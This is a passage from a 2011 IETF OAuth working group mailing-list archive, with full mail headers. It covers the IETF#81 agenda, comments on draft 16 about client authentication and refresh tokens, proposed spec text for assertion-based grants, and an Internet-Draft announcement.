editors might not be able to incorporate your suggestion, though they will try. The editors plan to submit a -17 version this week, and when they do we will start Working Group Last Call. We will expect ALL suggestions for changes to be specific about what text they propose. Barry, as chair From Hannes.Tschofenig@gmx.net Mon Jul 4 09:18:57 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 589B911E80B5 for ; Mon, 4 Jul 2011 09:18:57 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.599 X-Spam-Level: X-Spam-Status: No, score=-102.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id CvCCIdlIOBqd for ; Mon, 4 Jul 2011 09:18:56 -0700 (PDT) Received: from mailout-de.gmx.net (mailout-de.gmx.net [213.165.64.23]) by ietfa.amsl.com (Postfix) with SMTP id 4F00911E8082 for ; Mon, 4 Jul 2011 09:18:56 -0700 (PDT) Received: (qmail invoked by alias); 04 Jul 2011 16:18:51 -0000 Received: from letku101.adsl.netsonic.fi (EHLO [10.0.0.2]) [194.29.195.101] by mail.gmx.net (mp047) with SMTP; 04 Jul 2011 18:18:51 +0200 X-Authenticated: #29516787 X-Provags-ID: V01U2FsdGVkX1+8tb1QBrW8vc4dZWLbY530QL6lr914r3NbJYnXOH Yy74vhKPfLIfqN From: Hannes Tschofenig Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Date: Mon, 4 Jul 2011 19:18:49 +0300 Message-Id: <3D910011-72A9-4BED-824B-50E1990FC9C1@gmx.net> To: oauth WG Mime-Version: 1.0 (Apple Message framework v1084) X-Mailer: Apple Mail (2.1084) X-Y-GMX-Trusted: 0 Subject: [OAUTH-WG] Call For Agenda Items for IETF#81 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 16:18:57 -0000 Hi all,=20 it is time to think about the agenda for the IETF#81 meeting in Quebec = City. Since we are planning to complete the current working group documents = our focus will be on the working group items.=20 Please sent me a mail off-list whether you are able to present your = document.=20 Here is a strawman agenda proposal:=20 -------------- 1) Agenda Bashing, and WG Status 2) The OAuth 2.0 Authorization Protocol http://datatracker.ietf.org/doc/draft-ietf-oauth-v2/ Eran is going to submit a version -17 in time for the submission = deadline.=20 We plan to start a WGLC after the submission deadline (with a longer = review period due to the IETF meeting). 3) The OAuth 2.0 Protocol: Bearer Tokens http://datatracker.ietf.org/doc/draft-ietf-oauth-v2-bearer/ 4) HTTP Authentication: MAC Access Authentication http://datatracker.ietf.org/doc/draft-ietf-oauth-v2-http-mac/ 5) Assertions http://datatracker.ietf.org/doc/draft-ietf-oauth-saml2-bearer/ http://datatracker.ietf.org/doc/draft-mortimore-oauth-assertions/ 6) OAuth 2.0 Threat Model and Security Considerations http://datatracker.ietf.org/doc/draft-ietf-oauth-v2-threatmodel/ 7) Conclusion & Next Steps=20 We are also open to discuss other items during our working group = meeting, if time permits.=20 -------------- To make use of the IETF week I would encourage everyone to read through = these documents carefully.=20 Ciao Hannes, Barry, Blaine From eran@hueniverse.com Mon Jul 4 10:30:39 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9A9701F0C57 for ; Mon, 4 Jul 2011 10:30:39 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.831 X-Spam-Level: X-Spam-Status: No, score=-2.831 tagged_above=-999 required=5 tests=[AWL=-0.233, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id pJNLLPbEAkvv for ; Mon, 4 Jul 2011 10:30:38 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id C59F51F0C42 for ; Mon, 4 Jul 2011 10:30:38 -0700 (PDT) Received: (qmail 11454 invoked from network); 4 Jul 2011 17:30:38 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 4 Jul 2011 17:30:38 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 4 Jul 2011 10:30:37 -0700 From: Eran Hammer-Lahav To: Shane B Weeden , "oauth@ietf.org" Date: Mon, 4 Jul 2011 10:30:31 -0700 Thread-Topic: [OAUTH-WG] Draft 16 comment Thread-Index: Acw6cBasvOmku87/QiaYA8/pFItkyw== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA3746B3160B2eranhueniversecom_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Draft 16 comment X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 17:30:39 -0000 --_000_CA3746B3160B2eranhueniversecom_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Section 3: In addition, the authorization server MAY allow unauthenticated access token requests when the client identity does not matter (e.g. anonymous client) or when the client identity is established via other means. For readability purposes only, this specification is written under the assumption that the authorization server requires some form of client authentication. However, such language does not affect the authorization server's discretion in allowing unauthenticated client requests. From: Shane Weeden > Date: Sun, 22 May 2011 21:40:22 -0700 To: "oauth@ietf.org" > Subject: [OAUTH-WG] Draft 16 comment First, I'd like to add my support for Brian Eaton's comments on Draft 16. They actually helped clarify the comment I have below.... I found section 9 to be in contradiction to a part of section 6. In particular in section 9: Native applications SHOULD use the authorization code grant type flow without client password credentials (due to their inability to keep the credentials confidential) to obtain short-lived access tokens, and use refresh tokens to maintain access. In section 6 the specification is quite clear that client authentication is REQUIRED for the use of refresh tokens: The authorization server MUST validate the client credentials, ensure that the refresh token was issued to the authenticated client, validate the refresh token, and verify that the resource owner's authorization is still valid. My understanding is that refresh tokens are being used as a kind of long-lived, rolling "instance secret" for the native application and represent the grant authorized by the end user during initial establishment of the authorization code which is used to get the first refresh token. It seems to me this use case needs to be allowed for in the wording of section 6. Regards, Shane. _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth --_000_CA3746B3160B2eranhueniversecom_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Section 3:
   In addition, the authorization server MAY allow unauthenticated
   access token requests when the client identity does not matter (e.g.
   anonymous client) or when the client identity is established via
   other means.  For readability purposes only, this specification is
   written under the assumption that the authorization server requires
   some form of client authentication.  However, such language does not
   affect the authorization server's discretion in allowing
 unauthenticated client request= s.

F= rom: Shane Weeden <sweede= n@au1.ibm.com>
Date: Sun= , 22 May 2011 21:40:22 -0700
To: "oauth@ietf.org" <oauth@ietf.org>
Subject: [OAUTH-WG] Draft 16 comment


=
First, I'd like to add my support for Brian Eaton's comments on Draft = 16.
They actually helped clarify the comment I have below....


I found section 9 to be in contradicti= on to a part of section 6. In
particular in section 9:
=
Native applications SHOULD use the authorization code grant= type flow
without client password credentials (due to their ina= bility to keep
the credentials confidential) to obtain short-liv= ed access tokens,
and use refresh tokens to maintain access.

In section 6 the specification is quite clear that cl= ient authentication is
REQUIRED for the use of refresh tokens:

   The authorization server MUST validate = the client credentials, ensure
   that the refresh toke= n was issued to the authenticated client,
   validate t= he refresh token, and verify that the resource owner's
 &nbs= p; authorization is still valid.


My=   understanding is that refresh tokens are being used as a kind o= f
long-lived, rolling "instance secret" for the native applicatio= n and
represent the grant authorized by the end user during initi= al establishment
of the authorization code which is used to get t= he first refresh token.

It seems to me this use ca= se needs to be allowed for in the wording of
section 6.

Regards,
Shane.

________= _______________________________________
OAuth mailing list
<= div>OAuth@ietf.org

<= /body> --_000_CA3746B3160B2eranhueniversecom_-- From barryleiba.mailing.lists@gmail.com Mon Jul 4 10:34:56 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id DA9B31F0C55 for ; Mon, 4 Jul 2011 10:34:56 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.227 X-Spam-Level: X-Spam-Status: No, score=-103.227 tagged_above=-999 required=5 tests=[AWL=-0.250, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZJ2B9Do31zJF for ; Mon, 4 Jul 2011 10:34:56 -0700 (PDT) Received: from mail-yx0-f172.google.com (mail-yx0-f172.google.com [209.85.213.172]) by ietfa.amsl.com (Postfix) with ESMTP id 367D41F0C42 for ; Mon, 4 Jul 2011 10:34:56 -0700 (PDT) Received: by yxp4 with SMTP id 4so2285233yxp.31 for ; Mon, 04 Jul 2011 10:34:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:content-type; bh=dzrKu9UTuguGvQhTR1hZNsNcF2Zklb2KJDJ2rxIW3WU=; b=PctVcIcSpIUDpQ4SYrmSZxFGJWGf/fHrP5m5RHKv2TCtYEXM86YgN/ayhl0juP7dMJ INz9XLW6Ie1xh2QXXBV9q9mWNziJapH/YheYprUNvMuasnHl5Zy9A7pQyzTWrlZplDg1 RCOnjZmPyVh8SZGl0+5ic2EMQuiWDb+bz8E3E= MIME-Version: 1.0 Received: by 10.236.157.197 with SMTP id o45mr3028129yhk.44.1309800895469; Mon, 04 Jul 2011 10:34:55 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.32.4 with HTTP; Mon, 4 Jul 2011 10:34:55 -0700 (PDT) In-Reply-To: <3D910011-72A9-4BED-824B-50E1990FC9C1@gmx.net> References: <3D910011-72A9-4BED-824B-50E1990FC9C1@gmx.net> Date: Mon, 4 Jul 2011 13:34:55 -0400 X-Google-Sender-Auth: 3sZH9UCLbA5nyqE2mW1RjxnQV50 Message-ID: From: Barry Leiba To: oauth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: [OAUTH-WG] Call For Agenda Items for IETF#81 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 17:34:57 -0000 > it is time to think about the agenda for the IETF#81 meeting in Quebec City. Adding to this, in case folks haven't looked at the draft IETF agenda: we're currently scheduled from 9 to 11:30 EDT (13:00 to 15:30 UTC) on Wednesday morning, 27 July -- BUT THAT MIGHT CHANGE. There will, as always, be arrangements for remote participation for those who can't make it in person. Presenters will be asked to have presentation slides in to the chairs by the end of the day Saturday, 23 July, so we can post them to the meeting materials page with plenty of time for all participants to review them. Meeting materials page: https://datatracker.ietf.org/meeting/81/materials.html Barry, as chair From eran@hueniverse.com Mon Jul 4 11:38:28 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 92F0421F864A for ; Mon, 4 Jul 2011 11:38:28 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.741 X-Spam-Level: X-Spam-Status: No, score=-2.741 tagged_above=-999 required=5 tests=[AWL=-0.277, BAYES_00=-2.599, HTML_MESSAGE=0.001, HTTP_ESCAPED_HOST=0.134] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 5y3NQt9tuv4z for ; Mon, 4 Jul 2011 11:38:27 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id BC9DC21F8645 for ; Mon, 4 Jul 2011 11:38:27 -0700 (PDT) Received: (qmail 4289 invoked from network); 4 Jul 2011 18:38:26 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 4 Jul 2011 18:38:25 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 4 Jul 2011 11:38:25 -0700 From: Eran Hammer-Lahav To: Brian Campbell , oauth Date: Mon, 4 Jul 2011 11:38:19 -0700 Thread-Topic: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 subsection on assertions Thread-Index: Acw6eY7UC3Qtwg7iTAi0X4mtWnKa7A== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA37569A160BEeranhueniversecom_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 subsection on assertions X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 18:38:28 -0000 --_000_CA37569A160BEeranhueniversecom_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable In light of the new assertion draft, do we still want to make this change? EHL From: Brian Campbell > Date: Tue, 24 May 2011 07:25:12 -0700 To: oauth > Subject: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 subsectio= n on assertions One of the action items out of yesterday's meeting was to draft some text for a section 4.5.1 in core that defined the optional but recommended use of an "assertion" parameter for extension grants where the use of a single parameter to carry the grant/assertion was possible. Below is a first cut at some proposed text that hopefully avoids some of the awkwardness that EHL described in previous attempts to introduce such a parameter. Comments or edits or editorial improvements are, of course, welcome. But I think this hopefully captures the intent of what was discussed yesterday (and before). If we get some consensus to make this change, I think a couple of other actions are implied. - The IANA assertion parameter registration request (http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer-04#section-4.1) should be removed from the SAML draft and put into http://tools.ietf.org/html/draft-ietf-oauth-v2 - The http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer-00 spec will change the parameter it uses from jwt to assertion and drop the registration request for jwt (http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer-00#section-4.1) --- proposed text for sections 4.5 & 4.5.1 --- 4.5. Extensions The client uses an extension grant type by specifying the grant type using an absolute URI (defined by the authorization server) as the value of the "grant_type" parameter of the token endpoint, and by adding any additional parameters necessary. If the access token request is valid and authorized, the authorization server issues an access token and optional refresh token as described in Section 5.1. If the request failed client authentication or is invalid, the authorization server returns an error response as described in Section 5.2. 4.5.1 Assertion Based Extension Grants If the value of the extension grant can be serialized into a single parameter, as is case with a number of assertion formats, it is RECOMMENDED that that a parameter named "assertion" be used to carry the value. assertion REQUIRED. The assertion. The format and encoding of the assertion is defined by the authorization server or extension specification. For example, to request an access token using a SAML 2.0 assertion grant type as defined by [I-D.ietf-oauth-saml2-bearer], the client makes the following HTTP request using transport-layer security (line breaks are for display purposes only): POST /token HTTP/1.1 Host: server.example.com Content-Type: application/x-www-form-urlencoded grant_type=3Dhttp%3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F bearer&assertion=3DPEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24- _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth --_000_CA37569A160BEeranhueniversecom_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
In light of the new asse= rtion draft, do we still want to make this change?

EHL

From: Brian Campbell <bcampbel= l@pingidentity.com>
Date: Tue, 24 May 2011 07:25:12 -0700
To: <= /span> oauth <oauth@ietf.org>Subject: [OAUTH-WG] TODO: Mike J= ./Chuck M. (or me) to draft 4.5.1 subsection on assertions
= One of the action items out of yesterday's meeting was to draft some
<= div>text for a section 4.5.1 in core that defined the optional but
recommended use of an "assertion" parameter for extension grants where
the use of a single parameter to carry the grant/assertion was
possible.  Below is a first cut at some proposed text that = hopefully
avoids some of the awkwardness that EHL described in pr= evious attempts
to introduce such a parameter.  Comment= s or edits or editorial
improvements are, of course, welcome.&nbs= p; But I think this hopefully
captures the intent of what wa= s discussed yesterday (and before).

If we get some= consensus to make this change, I think a couple of
other actions= are implied.

- The IANA assertion parameter regis= tration request
should be removed from the = SAML draft and put into
<= div>
will change the parameter it uses from jwt to asser= tion and drop the
registration request for jwt


--- proposed text for sections 4.= 5 & 4.5.1 ---

4.5. Extensions

   The client uses an extension grant type by specifying= the grant type
   using an absolute URI (defined by th= e authorization server) as the
   value of the "grant_t= ype" parameter of the token endpoint, and by
   adding = any additional parameters necessary.

   = If the access token request is valid and authorized, the
 &n= bsp; authorization server issues an access token and optional refresh
=
   token as described in Section 5.1.  If the requ= est failed client
   authentication or is invalid, the = authorization server returns an
   error response as de= scribed in Section 5.2.

4.5.1 Assertion Based Exte= nsion Grants

  If the value of the exten= sion grant can be serialized into a single
  parameter,= as is case with a number of assertion formats, it is
  = ;RECOMMENDED that that a parameter named "assertion" be used to
&= nbsp; carry the value.

   assertion=
         REQUIRED. =  The assertion. The format and encoding of the
  &= nbsp;          assertion is de= fined by the authorization server or
    &nbs= p;        extension specification.
=

   For example, to request an access token us= ing a SAML 2.0 assertion
   grant type as defined by [I= -D.ietf-oauth-saml2-bearer], the client
   makes the fo= llowing HTTP request using transport-layer security (line
 &= nbsp; breaks are for display purposes only):

 = ;  POST /token HTTP/1.1
   Host: server.example.co= m
   Content-Type: application/x-www-form-urlencoded

   grant_type=3Dhttp%3A%2F%2Foauth.net%2Fg= rant_type%2Fsaml%2F2.0%2F
   bearer&assertion=3DPEF= zc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM
   [...omitt= ed for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24-
____________= ___________________________________
OAuth mailing list

 --_000_CA37569A160BEeranhueniversecom_-- From internet-drafts@ietf.org Mon Jul 4 11:39:08 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id C07A81F0C9D; Mon, 4 Jul 2011 11:39:08 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.59 X-Spam-Level: X-Spam-Status: No, score=-102.59 tagged_above=-999 required=5 tests=[AWL=0.009, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id TDEHpT86D-Yj; Mon, 4 Jul 2011 11:39:08 -0700 (PDT) Received: from ietfa.amsl.com (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6248E1F0C90; Mon, 4 Jul 2011 11:39:08 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable From: internet-drafts@ietf.org To: i-d-announce@ietf.org X-Test-IDTracker: no X-IETF-IDTracker: 3.55 Message-ID: <20110704183908.21129.32854.idtracker@ietfa.amsl.com> Date: Mon, 04 Jul 2011 11:39:08 -0700 Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-assertions-00.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 18:39:08 -0000 A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : OAuth 2.0 Assertion Profile Author(s) : Michael B. Jones Brian Campbell Yaron Goland Filename : draft-ietf-oauth-assertions-00.txt Pages : 14 Date : 2011-07-04 This specification provides a general framework for the use of assertions as client credentials and/or authorization grants with OAuth 2.0. It includes a generic mechanism for transporting assertions during interactions with a token endpoint, as wells as rules for the content and processing of those assertions. The intent is to provide an enhanced security profile by using derived values such as signatures or HMACs, as well as facilitate the use of OAuth 2.0 in client-server integration scenarios where the end-user may not be present. This specification only defines abstract messsage flow and assertion content. Actual use requires implementation of a companion protocol binding specification. Additional profile documents provide standard representations in formats such as SAML and JWT. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-assertions-00.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-assertions-00.txt From bcampbell@pingidentity.com Mon Jul 4 11:42:59 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 435B71F0CA4 for ; Mon, 4 Jul 2011 11:42:59 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.835 X-Spam-Level: X-Spam-Status: No, score=-5.835 tagged_above=-999 required=5 tests=[AWL=0.008, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, HTTP_ESCAPED_HOST=0.134, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Ni2MmrO0gZvR for ; Mon, 4 Jul 2011 11:42:58 -0700 (PDT) Received: from na3sys009aog116.obsmtp.com (na3sys009aog116.obsmtp.com [74.125.149.240]) by ietfa.amsl.com (Postfix) with ESMTP id 6A6101F0CA6 for ; Mon, 4 Jul 2011 11:42:57 -0700 (PDT) Received: from mail-qy0-f178.google.com ([209.85.216.178]) (using TLSv1) by na3sys009aob116.postini.com ([74.125.148.12]) with SMTP ID DSNKThIJq1FMJBij20zJrTlvzq9vi7hGzDib@postini.com; Mon, 04 Jul 2011 11:42:58 PDT Received: by mail-qy0-f178.google.com with SMTP id 27so3491030qyk.2 for ; Mon, 04 Jul 2011 11:42:51 -0700 (PDT) Received: by 10.224.45.71 with SMTP id d7mr4688687qaf.187.1309804971119; Mon, 04 Jul 2011 11:42:51 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.28.201 with HTTP; Mon, 4 Jul 2011 11:42:21 -0700 (PDT) In-Reply-To: References: From: Brian Campbell Date: Mon, 4 Jul 2011 12:42:21 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: oauth Subject: Re: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 subsection on assertions X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 18:42:59 -0000 I believe the new assertion draft covers it and this change can be sidelined as long as the new draft has WG support to move forward. On Mon, Jul 4, 2011 at 12:38 PM, Eran Hammer-Lahav wr= ote: > In light of the new assertion draft, do we still want to make this change= ? > EHL > From: Brian Campbell > Date: Tue, 24 May 2011 07:25:12 -0700 > To: oauth > Subject: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 subsect= ion > on assertions > > One of the action items out of yesterday's meeting was to draft some > text for a section 4.5.1 in core that defined the optional but > recommended use of an "assertion" parameter for extension grants where > the use of a single parameter to carry the grant/assertion was > possible.=A0=A0Below is a first cut at some proposed text that hopefully > avoids some of the awkwardness that EHL described in previous attempts > to introduce such a parameter.=A0=A0Comments or edits or editorial > improvements are, of course, welcome.=A0=A0But I think this hopefully > captures the intent of what was discussed yesterday (and before). > If we get some consensus to make this change, I think a couple of > other actions are implied. > - The IANA assertion parameter registration request > (http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer-04#section-4.1) > should be removed from the SAML draft and put into > http://tools.ietf.org/html/draft-ietf-oauth-v2 > - The http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer-00 spec > will change the parameter it uses from jwt to assertion and drop the > registration request for jwt > (http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer-00#section-4.1) > > --- proposed text for sections 4.5 & 4.5.1 --- > 4.5. Extensions > =A0=A0 The client uses an extension grant type by specifying the grant ty= pe > =A0=A0 using an absolute URI (defined by the authorization server) as the > =A0=A0 value of the "grant_type" parameter of the token endpoint, and by > =A0=A0 adding any additional parameters necessary. > =A0=A0 If the access token request is valid and authorized, the > =A0=A0 authorization server issues an access token and optional refresh > =A0=A0 token as described in Section 5.1.=A0=A0If the request failed clie= nt > =A0=A0 authentication or is invalid, the authorization server returns an > =A0=A0 error response as described in Section 5.2. > 4.5.1 Assertion Based Extension Grants > =A0=A0If the value of the extension grant can be serialized into a single > =A0=A0parameter, as is case with a number of assertion formats, it is > =A0=A0RECOMMENDED that that a parameter named "assertion" be used to > =A0=A0carry the value. > =A0=A0 assertion > =A0=A0=A0=A0=A0=A0=A0=A0 REQUIRED.=A0=A0The assertion. The format and enc= oding of the > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 assertion is defined by the authoriz= ation server or > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 extension specification. > =A0=A0 For example, to request an access token using a SAML 2.0 assertion > =A0=A0 grant type as defined by [I-D.ietf-oauth-saml2-bearer], the client > =A0=A0 makes the following HTTP request using transport-layer security (l= ine > =A0=A0 breaks are for display purposes only): > =A0=A0 POST /token HTTP/1.1 > =A0=A0 Host: server.example.com > =A0=A0 Content-Type: application/x-www-form-urlencoded > =A0=A0 grant_type=3Dhttp%3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F > =A0=A0 bearer&assertion=3DPEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM > =A0=A0 [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24- > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > From eran@hueniverse.com Mon Jul 4 11:54:20 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id EF0E921F876A for ; Mon, 4 Jul 2011 11:54:20 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.716 X-Spam-Level: X-Spam-Status: No, score=-2.716 tagged_above=-999 required=5 tests=[AWL=-0.252, BAYES_00=-2.599, HTML_MESSAGE=0.001, HTTP_ESCAPED_HOST=0.134] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Ezp1oqWNaH-u for ; Mon, 4 Jul 2011 11:54:20 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 136FB21F8769 for ; Mon, 4 Jul 2011 11:54:20 -0700 (PDT) Received: (qmail 17176 invoked from network); 4 Jul 2011 18:54:19 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 4 Jul 2011 18:54:18 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 4 Jul 2011 11:54:18 -0700 From: Eran Hammer-Lahav To: Brian Campbell Date: Mon, 4 Jul 2011 11:54:10 -0700 Thread-Topic: [OAUTH-WG] TODO: Mike J./Chuck M. (or me) to draft 4.5.1 subsection on assertions Thread-Index: Acw6e8bWlc7f8tNrRTKWQtu4M4NfIA== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA375A58160C3eranhueniversecom_" MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] TODO: Mike 